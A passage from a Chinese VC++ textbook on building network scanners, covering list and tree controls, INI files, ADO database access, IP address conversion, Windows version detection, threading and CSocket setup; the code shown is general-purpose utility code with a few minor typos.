考虑到这部分只是为了展示扫描参数或扫描结果，与扫描本身并没太大的联系，故此处不再详细介绍每一个参数的详细意义，如果用户对界面的要求不是很高，则只需要记住第3项调用即可。在第3项调用中，参数lpszItem即插入节点的描述字符串。hParent表示将当前哪个节点作为父节点，插入到该节点下面，默认的值是TVI_ROOT，表示直接插入到根节点下，否则就可以用前面调用InsertItem之后保存的返回值作为父节点，将当前节点插入到该节点的下面。hInsertAfter表示当要插入的父节点已有子节点时，当前插入的节点放置到什么位置，可取值分别为：
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在上面例子中，各项的值是通过程序读取的，而要读的内容是后面要讲的，此处只是讲CTreeCtrl的用法，所以如果只是为了达到图2.4中的效果，则需要完成如下操作：



CString strItem;//用于生成各项的值。

strItem.Format("NetBIOS扫描[127.0.0.1]");

//将根节点插入，并记下该节点的位置到root变量中，以备后面再插入节点时使用

HTREEITEM root=m_ctlTreeResult.InsertItem(strItem);

strItem.Format("主机名：localhost");

//插入“主机名”的叶子节点到root根节点上

m_ctlTreeResult.InsertItem(strItem,root);

strItem.Format("共享文件夹");

//插入“共享文件夹”的分支节点到root根节点上

HTREEITEM curr=m_ctlTreeResult.InsertItem(strItem,root);

for(i=0;i＜iItemDir;i++)

{

strItem.Format("....");//依次生成各个共享的文件夹名

m_ctlTreeResult.InsertItem(strItem,curr);

}

strItem.Format("当前时间：XXXX");//当前时间

//插入“当前时间”的叶子节点到root根节点上

m_ctlTreeResult.InsertItem(strItem,root);

strItem.Format("用户名");

//插入“用户名”的分支节点到root根节点上

HTREEITEM curr=m_ctlTreeResult.InsertItem(strItem,root);

for(i=0;i＜iItemDir;i++)

{

strItem.Format("....");//依次生成各个用户名

m_ctlTreeResult.InsertItem(strItem,curr);

}




2.2.2　CListCtrl控件的应用

CListCtrl控件专门用于显示一些基于“关系”的数据结构。这种结构在自然界很普遍，一般用于具有同类型的自然事物，即所有事物都具有全部或大部分某一系列特点。作为描述自然事物的程序，当然很多会用到这种结构，如图2.5所示。
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图　2.5　CListCtrl例图

在这种结构中，以“行”为单位，每一行代表一个记录，每一列代表一个字段，所有在行中的事物，必须全部或部分具有列中的属性。

要创建这样的一个结构，首先需要在对话框中，放置一个CListCtrl列表控件，调整到合适的位置和大小，同时要声明一个CListCtrl的变量与此控件绑定。



CListCtrl m_ctlListResult;



与树型控件CTreeCtrl不同的是，CListCtrl的创建要分两步，第一步是设置控件的表头部分，第二步才是增、修、删其数据项。首先需要定义每个列的标题（即图2.5的表头部分）。其函数为：

❑int InsertColumn(int nCol,const LVCOLUMN*pColumn);

❑int InsertColumn(int nCol,LPCTSTR lpszColumnHeading,int nFormat=LVCFMT_LEFT,int nWidth=-1,int nSubItem=-1);

上面函数，如果成功，则返回所在的列号；否则返回-1。调用成功后，一个具有表头的空列表就建成了。默认情况下，该表将来在添加了数据后，各数据之间没有分隔线，并且单击要选中的行，只有第一列的数据会被选中，为了增加一个分隔线以示美观，同时使单击某一行时，该行整行都会被选中，可以通过SetExtendedStyle函数在表头操作完成后即设计其风格属性。即



m_ctlListResult.SetExtendedStyle(LVS_EX_FULLROWSELECT|LVS_EX_GRIDLINES);



有了表头，并设置了其风格以后，就可以增加数据了。该操作可以使用以下各函数之一即可。



1)int InsertItem(const LVITEM*pItem);

2)int InsertItem(int nItem,LPCTSTR lpszItem);

3)int InsertItem(int nItem,LPCTSTR lpszItem,int nImage);

4)int InsertItem(UINT nMask,int nItem,LPCTSTR lpszItem,UINT nState,UINT

nStateMask,int nImage,LPARAM lParam);



如果增加完成，函数返回所添加数据的序号（该序号由0开始算起），否则返回-1。

由于后面的程序主要是生成这样的一个关系结构，而不对其进行复杂的操作，所以这里只需要用到一个主要的函数即可，并且上述各函数中，通常只需要使用第2个或第3个即可。

在图2.5所示的效果中，各项的值是通过程序读取的，而要读的内容是后面要讲的，此处只是讲CListCtrl的用法，所以如果只是为了达到图2.5中的例图，则需要完成如下操作：



/*预定义一些字段顺序的宏定义，之后如果想调整字段的顺序，只需要修改此宏定义的

顺序即可。注意：下面宏定义由0起，并且顺序号必须相连，不得间断。*/

#define LIST_RESULT_INDEX 0

#define LIST_RESULT_IP 1

#define LIST_RESULT_STATUS 2

#define LIST_RESULT_MAC 3

#define LIST_RESULT_NAME 4

#define LIST_RESULT_COMMENT 5

//创建表头部分

m_ctlListResult.InsertColumn(LIST_RESULT_INDEX,"序号",LVCFMT_LEFT,40);

m_ctlListResult.InsertColumn(LIST_RESULT_IP,"IP",LVCFMT_LEFT,110);

m_ctlListResult.InsertColumn(LIST_RESULT_STATUS,"状态",LVCFMT_LEFT,80);

m_ctlListResult.InsertColumn(LIST_RESULT_MAC,"MAC",LVCFMT_LEFT,115);

m_ctlListResult.InsertColumn(LIST_RESULT_NAME,"主机名",LVCFMT_LEFT,100);

m_ctlListResult.InsertColumn(LIST_RESULT_COMMENT,"注释",LVCFMT_LEFT,100);

//设定列表的风格是有网格线，并且在选择的时候是选中一行，而不是首字段

m_ctlListResult.SetExtendedStyle(LVS_EX_FULLROWSELECT|LVS_EX_GRIDLINES);

CString strItem;//用于生成各项的值

for(int i=0;i＜iNum;i++)

{

strItem.Format("%d",i+1);

m_ctlListResult.InsertItem(i,strItem);

strItem.Format("192.168.1.%d",i+1);

m_ctlListResult.SetItemText(index,LIST_RESULT_IP,strStatus);

m_ctlListResult.SetItemText(index,LIST_RESULT_STATUS,"扫描中...");

......//其他部分写法雷同，故省略

}




2.2.3　INI文件的操作

程序开发的早期，数据库的发展还没有那么成熟，所以数据一般都保存在自己定义的文件中，这种自己定义的文件格式由于没有统一的约定，因而不能相互通用。为了解决这一问题，在早期的Windows程序设计中，定义了一种INI（Initial）文件格式，并且可以通过API直接对文件格式进行访问。

INI文件是一种纯文本保存格式，扩展名是"ini"，内容以“行”为单位，即每次操作的时候，可以对其中的一行进行操作。如下面一段，就是一个典型的INI文件格式：



[Init]

BeginIP=192.168.0.1

EndIP=192.168.1.254

[List]

Count=3

IP1=192.168.0.1

Port1=80

IP2=192.168.0.2

Port2=21

IP3=192.168.0.3

Port3=23



在上述INI文件格式中，所有内容都以行为单位。空行通常是为了增加可读性而人为设置的，空行的位置和多少并不影响INI文件的正常使用，在不考虑空行的情况下，每一行的内容格式主要包括以下两种类型：

❑[段名]：这种行称为段行，段行相当于文章中段的标题。由当前段名开始，到下一个段名之前的内容称为一段（segment）。各段的段名不能重复。

❑键名=字符串：这种行即是内容行，其中的字符串由等于号之后的第一个字符一直到回车前的全部内容。同一个段的键名不能重复，不同段的键名可以重复。

由此可见，该文件的操作是一个二维的，在程序设计中，段名、键名都是用户自己设定的，即具体使用多少个段名、每个段中使用多少个变量名都由用户自己设定。同时一个程序可以对多个互不相同的INI文件进行操作，对INI文件的操作，主要有包括“读”和“写”两个操作，每一个操作都要同时指定“INI文件名”、“段名”和“键名”，每次操作的时候在文件中显示为一个行，在逻辑上显示为一个由“段名.键名”组成二维值。

在讲这两个操作之前，需要先说明一下在使用过程中的一些约定。因为INI文件是纯文本文件，用户可以直接用记事本等编辑工具直接对其进行修改，因此会使数据的完整性、互异性、正确性遭到破坏。为此特约定如下：

❑在读写的时候，如果该文件不存在、段名不存在或者变量不存在，则在读、写操作的时候并不报错。如果是读操作，则直接按命令中约定进行操作；如果是写操作，则自动创建这样的文件，然后写入要写的数据。

❑如果段名出现重复，或同一段中的变量名出现重复，则读写操作时以第一个段的第一个变量名为准。

❑由于要读取的值由键名后的等号“=”之后开始，到回车之前的所有内容，所以如果要对键名进行注释，则不要把注释写到该行的后面，否则会作为内容被一起读取而导致出错。如果确实要注释，可以另起一行另用一个键名来注释。

如前所述，针对INI文件，主要只有读和写两个操作，考虑到实际使用中的需要，又将读取分为读字符串和读整数两种，共计三个API函数，下面分别介绍。

1.读字符串



DWORD GetPrivateProfileString(

LPCTSTR lpAppName,

LPCTSTR lpKeyName,

LPCTSTR lpDefault,

LPTSTR lpReturnedString,

DWORD nSize,

LPCTSTR lpFileName);



2.读整数



UINT GetPrivateProfileInt(

LPCTSTR lpAppName,

LPCTSTR lpKeyName,

INT nDefault,

LPCTSTR lpFileName);



3.写字符串



BOOL WritePrivateProfileString(

LPCTSTR lpAppName,

LPCTSTR lpKeyName,

LPCTSTR lpString,

LPCTSTR lpFileName);



以上三个API函数的参数都类似，所以一并如下说明：

❑lpAppName：要读取或设置的段名。

❑lpKeyName：要读取或设置的键值。

❑lpDefault：当要读取一个字符串时，如果所读的INI文件不存在，或要读的段名不存在，或键名不存在时，则将该字符串作为默认字符串返回，所返回的字符串在lpReturnedString中，长度在nSze中。

❑lpReturnedString：在读取字符串的时候，所读取的字符串返回到该指针所指向的缓冲区中。

❑nSize：指名lpReturenedString缓冲区的长度，以字节为单。

❑nDefault：在读整数型数据的时候，如果所读的INI文件不存在，或段名不存在，或键值不存在的时候，则将该值作为默认值返回。

❑lpString：在写入文件时，要写入的字符串。

❑lpFileName：INI文件的路径名，该路径名可以是全路径，也可以是相对路径。

由于后面程序中，几乎每个程序都会使用到INI文件，并且各程序所用的风格一致，所以需要在这里统一进行说明。为了方便说明，假设文件的格式如前面例子所示。

首先，程序在运行的时候，通常需要从配置文件中读取一些参数作为系统中各变量的初始值，因此首先假设该文件已经存在，并且文件存在当前目录下，文件名为"Scaner.ini"，下面可以在程序初始化的时候，读取这些默认值：



/*由于文件名经常使用，所以可以先用一个宏定义定义要用的文件名。该文件可以放到任何使用以上函数的前面。*/

#define INIFLIENAME".\\Scaner.ini"

#define MAXLISTCOUNT 1000

//假设从INI文件中读取的值保存到下面的变量中。

CString m_strBeginIP,m_strEndIP;//假设要读到的IP分别存于此变量

UINT m_uCount;//上面列表中，有效个数

CString m_strIP[MAXLISTCOUNT];//保存列表中的IP

UINT m_uPort[MAXLISTCOUNT]//保存端口值

//初始化，从INI文件中读取各变量名

char buff[MAX_PATH];//定一个用于读取的缓冲区。

GetPrivateProfileString("Init","BeginIP","192.168.0.1",buff,MAX_PATH,INIFILENAME);

m_strBeginIP.Format("%s",buff);//假设读到了BeginIP读到m_strBeginIP中。

GetPrivateProfileString("Init","EndIP","192.168.0.254",buff,MAX_PATH,INIFILENAME);

m_strEndIP.Format("%s",buff);//假设读到了EndIP读到m_strEndIP中。

//读取列表

UINT m_uCount=GetPrivateProfileInt("List","Count",0,INIFILENAME);//读列表个数

if(m_uCount＞=MAXLISTCOUNT)

m_uCount=MAXLISTCOUNT;

CString strItem;

for(int i=0;i＜m_uCount;i++)

{

strItem.Format("IP%d",i+1);

GetPrivateProfileString("List",strItem,"",buff,MAX_PATH,INIFILENAME);

m_strIP[i].Format("%s",buff);

strItem.Format("Port%d",i+1);

m_uPort[i]=GetPrivateProfileInt("List",strItem,0,INIFILENAME);

if(m_strIP[i]==""||m_uPort[i]==0)

m_iCount=i;

}



其次，要将当前数据保存到INI文件中，只需要按下面方式即可。



//程序退出时，将各变量写入到INI文件中

WritePrivateProfileString("Init","BeginIP",m_strBeginIP,INIFILENAME);

WritePrivateProfileString("Init","EndIP",m_strEndIP,INIFILENAME);

//写入列表

CString strItem,strValue;

strValue.Format("%d",m_uCount);//列表个数

WritePrivateProfileString("List","Count",strValue,INIFILENAME);

for(int i=0;i＜m_uCount;i++)

{

strItem.Format("IP%d",i+1);

WritePrivateProfileString("List",strItem,m_strIP[i],INIFILENAME);

strItem.Format("Port%d",i+1);

strValue.Format("%d",m_uPort[i]);

WritePrivateProfileInt("List",strItem,strValue,INIFILENAME);

}



与用户自己定义的文件格式相比，采用INI格式，并使用系统API进行读写操作时，用户不需要判断文件是否存在，不需要考虑指定的段号或变量名是否存在，而只需要读取即可，这种具有良好容错性的机制大大减少了程序运行中的异常出错等可能，程序执行中，也不会因为上述问题而导致异常，影响程序的正常运行。

但这种方式有时也会带来一些潜在的问题，因为当INI文件不存在或INI文件存在但要读的键名不存在时，函数会在读取不到时返回预设的默认值，因此用户通常不知道自己读取的数据是从INI文件里读取的数据，还是要读的数据是因键名不存在而返回的默认值。

综上所述，可以发现，INI文件只适合于数据量很小，并且不频繁读写的情况下。


2.2.4　数据库ADO的简单应用

在程序中，专业的数据存取当然还是使用数据库，因为数据库的使用，可以让程序与数据脱离，程序不必过多关注数据的增加、修改、删除、查询操作，而把这部分任务交由数据库本身来完成。使用VC++，有多种数据库的访问方式，当前主流的访问方式是采用ADO方式。下面对这种方式仅从操作的层面上进行说明。

要使用ADO访问数据库，主要需要分三步，第一步是进行一些必要的设置，即初始化操作；第二步是与数据库进行连接；第三步是通过SQL命令对数据库进行操作。其中第一步和第二步是一个完全固定的模式，几乎不需要任何改变，因此直接照搬即可；第三步则要根据具体的需要选择合适的位置和合适的语句，并且根据读到的格式，还要进行一些转换。下面分别介绍这三个步骤。

2.2.4.1　ADO初始化

在第一步初始化中，又需要固定的三个操作，这三个操作在VC++中几乎完全一样的，只需要原样照搬即可。这三个操作如下：

1）在头StdAfx.h的最后一行加入。



#import"c:\program files\common files\system\ado\msado15.dll"rename("EOF","adoEOF")

Using namespace ADODB;



需要说明的是，加入这行，编译完成后，VC++会有一个警告：



warning C4146:unary minus operator applied to unsigned type,result still unsigned



这个警告可以不用理会，该警告也不会对程序的使用产生影响。

2）在BOOL CXXXXApp::InitInstance()的前部进行初始化。



CoInitialize(NULL);



CoInitialize函数可以完成对COM库的初始化，没有该初始化，程序编译仍然没有错误，但运行时会报连接出错。该函数在InitInstance中的位置没有明确的要求，但要尽量靠前，以便在使用前初始化。同时，系统建议使用CoInitializeEx函数代替。该函数的原型是：



HRESULT CoInitialize(

LPVOID pvReserved//该值保留，必须为空

);



返回值：S_OK表示初始化成功，S_FALSE表示失败。

参数：pvReserved，保留系统使用，目前必须使用NULL。

3）在程序必要的位置声明如下变量：



_ConnectionPtr m_pConnection;

_RecordsetPtr m_pRecordset;



其中，前一个命令pConnection用于表示与数据库连接的指针，后一个pRecordset表示某次读取时的记录的指针，后者要使用前者作为其参数，所以前者是进行一切操作的前提。

2.2.4.2　建立数据库连接

要建立数据库的连接，以Access数据库DemoInject.mdb为例，可以使用下面的代码：



try

{

//创建Connection对象

HRESULT hr=m_pConnection.CreateInstance("ADODB.Connection");

if(SUCCEEDED(hr))

{

//连接ACCESS数据库"DemoInject.mdb"。

hr=m_pConnection-＞Open("Provider=Microsoft.Jet.OLEDB.4.0;Data Source=

DemoInject.mdb","","",adModeUnknown);

}

}

catch(_com_error e)//捕捉异常

{

CString errormessage;

errormessage.Format("连接数据库失败，请确认配置正确后再运行！\r\n错误码：%s",

e.ErrorMessage());

//显示错误信息

MessageBox(errormessage,"数据库出错提示",MB_OK|MB_ICONERROR);

}



2.2.4.3　进行数据读写

数据库连接成功后，就可以进行数据的读写，对数据的读写一般有两种方法：一种是直接用pRecordset读取记录，然后对每一个记录进行操作；还有一种是向连接pConnection发送SQL命令，然后将读到的数据记录返回给pRecordset指针。二者作用相同，可酌情使用。

前一种用法是直接用pRecordset读取记录：



pRecordset.CreateInstance("ADODB.Recordset");

CString strSQL="select*from UserList";//要执行的SQL命令。

pRecordset-＞Open(strSQL,pConnection,adOpenStatic,adLockOptimistic,adCmdText);

for(int i=0;i＜pRecordset-＞Fields-＞Count;i++)

{

//对数据的处理

m_strName=pRecordset-＞Fields-＞GetItem(_variant_t((long)i))-＞Name;

......

}

pRecordset-＞Close();



后一种用法是：



int iCount=0;

CString strSQL="select*from UserList";

m_pRecordset=m_pConnection-＞Execute((_bstr_t)strSQL,NULL,adCmdText);while(!m_pRecordset-＞adoEOF)

{

//对数据的处理

m_strName=pRecordset-＞Fields-＞GetItem(_variant_t((long)i))-＞Name;

......

m_pRecordset-＞MoveNext();

iCount++;

}

m_pRecordset-＞Close();



对读到的记录中，字段的处理，要读的字段类型各异，取决于数据中设定的类型，同时某一字段的取值又存在多种可能，以字符串类型为例，有可能是空值、空字符串值（""）、非空字符串等值，所以每次读取的时候都需要进行判断，为此，特将读取作成一个函数以增加可读性：



CString VarToStr(_variant_t var)

{//将读出的值转化成CString值，该函数会将空值和空字符串值等同

CString strRet="";//先假设读到的是空串

if(var.vt!=VT_NULL)

{

var.ChangeType(VT_BSTR);

strRet=var.bstrVal;

}

return strRet;

}

int VarToInt(_variant_t var)

{//将读出的值转化成有符号整型int类型。读错和空值都用-1来表示

int iRet=-1;

CString strTemp=VarToStr(var);

if(strTemp!="")

{

iRet=atoi(strTemp);

}

return iRet;

}

UINT VarToUInt(_variant_t var)

{//将读到的值转换成无符号整型UINT类型

UINT uRet=0;

CString strTemp=VarToStr(var);

if(strTemp!="")

{

uRet=atou(strTemp);

}

return uRet;

}

UINT atou(CString str)

{//将字符串转变为UINT格式

UINT uRet=0;

int num=str.GetLength();

UCHAR ch;

for(int i=0;i＜num;i++)

{

ch=str.GetAt(i);

if(ch=='.')

break;

if(ch＜'0'||ch＞'9')

{

uRet=0;

i=100;

break;

}

uRet=uRet*10+ch-'0';

}

return uRet;

}




2.2.5　IP格式的互换

IP（Internet Protocol）地址是网络上每一个计算机的“身份证号”，每台计算机必须至少有一个IP地址才能被其他的计算机识别。目前，IP地址有IPv4（Internet Protocol Version 4）和IPv6（Internet Protocol Version 6）之分，其中IPv4由四个字节组成，而IPv6则由16个字节组成。下面以IPv4为例进行说明。

在文档描述中，一个IP地址通常描述为以点分隔的字符串，例如“192.168.1.100”，这种方式很方便于人识别，但在计算机处理中并不方便，原因在于这样表示的IP地址存在以下不足：

❑整个字符串的长度不定长，给传输、存储带来麻烦。

❑给编程时的程序判断带来麻烦，例如想知道某一个IP之后的一个IP是什么，再如某一个IP是不是在某两个IP所组成的IP网段里？

计算机所处理的IP地址是用一种UINT无符号整型表示的（当然，在使用中用int或DWORD也都可以），这样做可以避免字符串表示方式中难以处理的问题，但却具有可读性差的缺点，因此一个程序中，应该同时具有两种表现形式，又可以相互转换。

前面2.1.1.1节已经讲过数据存储的顺序在内存保存和在网络传输的区别。以“192.168.1.10”为例，在内存中存储，如果为字符串，则表示为：
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在计算机内表示为：
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在网络传输中，IP头中表示为：
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要实现其中几种类型的转换，可以使用系统提供的API函数，也可以自己编写。使用API的优点是直接使用，缺点是不够灵活，有些API当输入出错时，会自动按默认数据处理，而自己编写的转换函数可以按自己要求处理。

要实现这种转换，先设定一个联合体(union)，该联体合是组合了各种常用数据，用于这些数据之间的互换。下面是实现这种类型转换的结构和函数：



typedef union MultiByteStruct

{//IP地址联合体

int iInt;//int有符号整型

float fFloat;//浮点数

UINT uInt;//无符号整数

ULONG uLong;//ULONG无符号整型

DWORD dwDword;//DWORD有符号整型

WORD wWord[2];//WORD无符号整型数组

UCHAR ucByte[4];//无符号字符数组

char cByte[4];//字符数组

}UNIONIP,*PUNIONIP;

//由无符号整数UINT转为CString类型

CString IPIntToStr(UINT IPInt)

{

CString IPStr;

UNIONIP IP;

IP.uInt=IPInt;

IPStr.Format("%d.%d.%d.%d",

IP.ucByte[0],IP.ucByte[1],IP.ucByte[2],IP.ucByte[3]);//低位优先

//IPStr.Format("%d.%d.%d.%d",

IP.ucByte[3],IP.ucByte[2],IP.ucByte[1],IP.ucByte[0]);//高位优先

return IPStr;

}

CString CSSDPScanerDlg::IPDwordToStr(UINT IPDword)

{

UNIONIP IP;

CString IPStr;

IP.dwDword=IPDword;

IPStr.Format("%d.%d.%d.%d",IP.ucByte[3],IP.ucByte[2],IP.ucByte[1],IP.ucByte[0]);

return IPStr;

}

//将字符串类型转为UINT类型

UINT IPStrToInt(CString IPStr,BOOL bShowMsgBox)

{

UNIONIP IP;

int i,j=0;

IPStr.TrimLeft("");

IPStr.TrimRight("");

for(i=0;i＜IPStr.GetLength();i++)

{

if(IPStr.GetAt(i)＜'0'||IPStr.GetAt(i)＞'9')

if(IPStr.GetAt(i)=='.')

j++;

else

{

if(bShowMsgBox)

AfxMessageBox("IP串中有非法字符，合适的字符为“0～9”和“.”。");

return 0;

}

}

if(j!=3)

{

if(bShowMsgBox)

AfxMessageBox("IP串格式不对。");

return 0;

}

i=0;

IPStr+=".";

CString temp;

for(int m=0;m＜4;m++)

{

temp="";

while(IPStr.GetAt(i)!='.')

{

temp+=IPStr.GetAt(i);

i++;

}

i++;

if(temp==""||atoi(temp)＞0xFF)

{

if(bShowMsgBox)

AfxMessageBox("IP串格式不对。");

return 0;

}

else

IP.ucByte[m]=atoi(temp);

}

return IP.uInt;

}



如果不要求精确到错误的位置，而只是进行转换，也可以使用inet_addr函数，该函数原型是：



unsigned long inet_addr(

const char FAR*cp

);




2.2.6　Windows操作系统类型的判断

目前支持的操作系统类型主要是Windows系列操作系统，严格地讲Windows 3.X及Windows NT 3.X系列是应用程序，而不是操作系统，因为这套系统的运行需要依附于其他的操作系统（以上二者都需要在DOS操作系统下才能运行）。直到Windows 95及Windows NT 4.0以后的Windows系列程序才称为操作系统。

有时，扫描器中所有函数是受操作系统版本限制的，或是操作系统版本不同、效果也不同，在后面各程序中，或多或少都有一些操作系统的限制，因此有必要在运行之前做一下操作系统类型的判断，代码如下所示：



enum Win32Type{Win32s,WinNT3,Win95,Win98,WinME,WinNT4,Win2000,WinXP};

static Win32Type g_Shell=IsShellType();

Win32Type IsShellType()

{

Win32Type ShellType;

DWORD winVer;

OSVERSIONINFO*osvi;

//通过GetVersion和GetVersionEx函数读取操作系统的版本

//该函数返回一个DWORD类型，其中数据高位是主版本号，数据低位是次版本号。

winVer=GetVersion();

if(winVer＜0x80000000)//最高位

{/*NT架构系列*/

ShellType=WinNT3;

osvi=(OSVERSIONINFO*)malloc(sizeof(OSVERSIONINFO));

if(osvi!=NULL)

{

memset(osvi,0,sizeof(OSVERSIONINFO));

osvi-＞dwOSVersionInfoSize=sizeof(OSVERSIONINFO);

GetVersionEx(osvi);

//主版本等于4，表示是Windows NT4.0系列

if(osvi-＞dwMajorVersion==4L)

ShellType=WinNT4;

//主版本等于5，次版本是0，表示是Windows 2000系列

else if(osvi-＞dwMajorVersion==5L＆＆osvi-＞dwMinorVersion==0L)

ShellType=Win2000;

//主版本等于5，次版本是1，表示是Windows XP系列

else if(osvi-＞dwMajorVersion==5L＆＆osvi-＞dwMinorVersion==1L)

ShellType=WinXP;

free(osvi);

}

}

else

{

if(LOBYTE(LOWORD(winVer))＜4)

ShellType=Win32s;

else

{

ShellType=Win95;

osvi=(OSVERSIONINFO*)malloc(sizeof(OSVERSIONINFO));

if(osvi!=NULL)

{

memset(osvi,0,sizeof(OSVERSIONINFO));

osvi-＞dwOSVersionInfoSize=sizeof(OSVERSIONINFO);

GetVersionEx(osvi);

//主版本等于4，次版本是10，表示是Windows 98系列

//主版本等于4，次版本是90，表示是Windows ME系列

if(osvi-＞dwMajorVersion==4L＆＆osvi-＞dwMinorVersion==10L)

ShellType=Win98;

else

{

if(osvi-＞dwMajorVersion==4L＆＆osvi-＞dwMinorVersion==90L)

ShellType=WinME;

}

free(osvi);

}

}

return ShellType;

}




2.2.7　多线程的局限性和使用方式

因为扫描器本身的特点，所以本书绝大多数程序都是多线程的，但在这里，主要说明多线程的局限性，特别是在Windows下，多线程算法要注意下述各种问题：

❑运用多线程并不是绝对地能提高整个程序的性能。例如，对于同一个应用，如果可以拆分成若干个相同或相似的任务，而这些任务都是一些需要运行在“运行-等待-运行”模式的，则一些线程可以在其他线程处于“等待”状态的时候得到运行，使各线程的运行达到了统筹，进而使整个程序的运行得到了改善；而如果这些线程本身全部处于“运行”模式，则每一个线程的运行都占用了大量时间片，从整体上看，虽然各线程同样是得到了并行处理，但从实践上看，与这些线程所代表的任务一个个地运行，效果是相同的。

❑理论上看，Windows编程中，对一个程序所能再创建的线程数是没有太大的限制的，即一个程序可以创建任意多线程，而各线程又可以再创建任意多的线程。但实际上，默认情况下，一个进程可以占用2GB的逻辑空间，而一个线程在运行期要占用1MB的栈空间；按这个值算，则一个进程可以创建2GB/1MG=2048个线程，而实际中，进程自己也要占用堆栈空间，因此实际上能创建的线程数比这个值要小。

❑Windows系统内部的各个线程之间是通过消息机制完成的，即每一个线程本身有一个或多个消息队列，任何给该线程的消息都会按顺序放入消息队列中，线程按顺序依次处理，Windows本身是一个抢占式多任务的操作系统，如果一个进程长期获得不了CPU的时间片，就无法响应这些消息，最终消息溢出。

❑另外一个重要的影响效率的因素就是图形化的显示，因为每刷新一下界面，都要花费大量的系统资源，如果频繁地刷新界面，反而使界面来不及刷新，最终导致程序像死机一样。

综上所述，对于是否使用多线程，可以根据实际情况来选择，不过，就本书而言，由于涉及网络编程，由于每一个网络操作，都涉及数据在网上传输，其速度是远慢于本地的操作，所以多线程肯定会大大提高整体性能。

在VC++开发环境下，创建线程的方式有好多种，本书一般使用AfxBeginThread函数，该函数的原型是：

❑CWinThread*AfxBeginThread(AFX_THREADPROC pfnThreadProc,LPVOID pParam,int nPriority=THREAD_PRIORITY_NORMAL,UINT nStackSize=0,DWORD dwCreateFlags=0,LPSECURITY_ATTRIBUTES lpSecurityAttrs=NULL);

❑CWinThread*AfxBeginThread(CRuntimeClass*pThreadClass,int nPriority=THREAD_PRIORITY_NORMAL,UINT nStackSize=0,DWORD dwCreateFlags=0,LPSECURITY_ATTRIBUTES lpSecurityAttrs=NULL);

二者等价，都可以新创建一个指定类型的新线程，但前者创建的是一个工作线程（即不需要界面，不需要处理消息的简单线程），后者则是一个用户接口线程（既可以有自己的界面，又可以独立处理自己的消息）。

返回值：指向新线程的句柄。

参数如下：

❑pfnThreadProc：指向一个工作线程的名称（下例中的ProcessName）。该线程的名称必须在调用之前被声明，并且声明的格式为：



UINT ProcessName(LPVOID pParam);



❑pThreadClass：从CWinThread继续的RUNTIME_CLASS类的对象指针。

❑pParam：给新创建线程传递的参数的指针。在具体使用中，指针指向的地址中数据的结构可以自己定义。

❑nPriority：线程的优先级，由于Windows是一个抢占式多任务操作系统，所以优先级决定了获得CPU执行的概率，如下所示：
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❑nStackSize：指出堆栈的大小，以字节为单位。如果值为0，则表示线程堆栈的大小等同于创建该线程的进程或线程的堆栈大小。

❑dwCreateFlags：创建的一个扩充标志。该值可以是以下两值之一：
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❑lpSecurityAttrs：安全属性指针，指向一个SECURITY_ATTRIBUTES结构。如果该指针为NULL，则该线程使用与创建进程或线程相同的安全组别。

本书中，将大量使用此函数用于创建多线程完成独立的任务，几乎涉及半数以上的程序。需要说明的有以下三点：

❑在线程创建完毕，线程即可进入运行状态。在线程中，可以通过AfxEndThread函数退出线程运行，但并不建议这样做，而是由线程自己退出。

❑根据经验，每次在调用AfxBeginThread创建线程之后，都应该调用一下Sleep函数，使线程有时间读取参数。这样做有以下两个原因：

·每一线程的创建总是要花一些时间的，而如果AfxBeginThread函数的位置在调用AfxBeginThread函数的函数体最后，该母函数会因AfxBeginThread调用成功而返回，但此时线程有可能还没初始化成功，或虽然初始化完毕，但要接收的参数还没有接收完（因为这时AfxBeginThread函数的母函数已返回），最终导致崩溃性错误（显示内存不能为读）。

·在创建多个线程时，通常是采用一个循环，在循环体内连续调用AfxBeginThread函数。如果各线程的参数不同，且AfxBeginThread函数之间没有间隔，则线程创建后，有时会出现读取参数的混乱（后创建的线程，在读参数的时候，参数已变成另一组新的值）。

❑在创建线程或监视程序运行状态时，有时需要快速地显示一些实时值，而这些值如果以控件的方式显示，控件会对快速的显示进行优化，而只在最后一步显示最后的结果，如果不要这种优化，则可以通过自己加上一段处理消息的代码实现。如下面的DoEvent函数：



void DoEvent(CString strTemp)

{

MSG msg;

CWnd*pEdit=this-＞GetDlgItem(IDC_EDIT_Comment);

pEdit-＞SetWindowText(strTemp);

pEdit-＞UpdateWindow();

if(PeekMessage(＆msg,NULL,0,0,PM_REMOVE))

{

TranslateMessage(＆msg);

DispatchMessage(＆msg);

}

}




2.2.8　VC++下Windows Socket的使用

使用Microsoft Visual C++开发针对网络Socket的编程，一般有两种方法，一种是直接使用基于Socket的API（Application Programming Interface，应用程序编程接口），另一种是使用MFC（Microsoft Foundation Classes，微软基础类库）编程。二者各有利弊，前者使用较为麻烦，编程者不仅需要记住某项应用中所使用的API函数，还需要知道这些API的调用顺序、各个具有传递作用的参数等项。后者则以类的方式出现，通过封装，可以隐藏掉很多的细节，从而使其编程方法相对简单很多。

通常的网络Socket编程，直接使用基于MFC的编程就可以完成。但考虑到本书的特殊性，其中相当一部分程序更偏重于较底层的编程，常常会用到一些不常用的API函数和一些API的非常规用法，这时，MFC并不能完全胜任，就不得不用到基于API的方式。

2.2.8.1　CSocket的应用

Microsoft Visual C++的MFC针对网络编程提供了两个类，一个是CAsyncSocket类，另一个是CSocket类，后者对前者进行了继承和扩充，所以可以认为CSocket类更简单、更强大，但隐藏了很多底层的细节；CAsyncSocket类更接近于一些底层的控制。

要使用CSocket类，只需在标准程序生成的向导中，选择"Windows Sockets"选项即可。例如，向导采用的是基于对话框的，如图2.6所示，需要在向导中选择"Windows Sockets"。如果向导采用的是基于单文档（Single document）或基于多文档（Multiple documents），如图2.7所示，需要在向导中选择"Windows Sockets"。
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图　2.6　基于对话框的向导，选择CSocket的步骤
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图　2.7　基于单文档或多文档的向导，选择CSocket的步骤

如果用户在使用向导生成程序的时候，忘了选择"Windows Sockets"，同样可以通过手工添加代码完成。要完成这些功能，只需要在两个文件中添加代码。首先，需要在"StdAfx.h"的最后添加代码：



#include＜afxsock.h＞//标准CSocket类使用的头文件。



其次，还需要在××××.App（××××是工程名）文件的BOOL InitInstance()函数的最前面添加代码：



if(!AfxSocketInit())

{

AfxMessageBox("Socket init error.");

return FALSE;

}



2.2.8.2　Socket2的应用

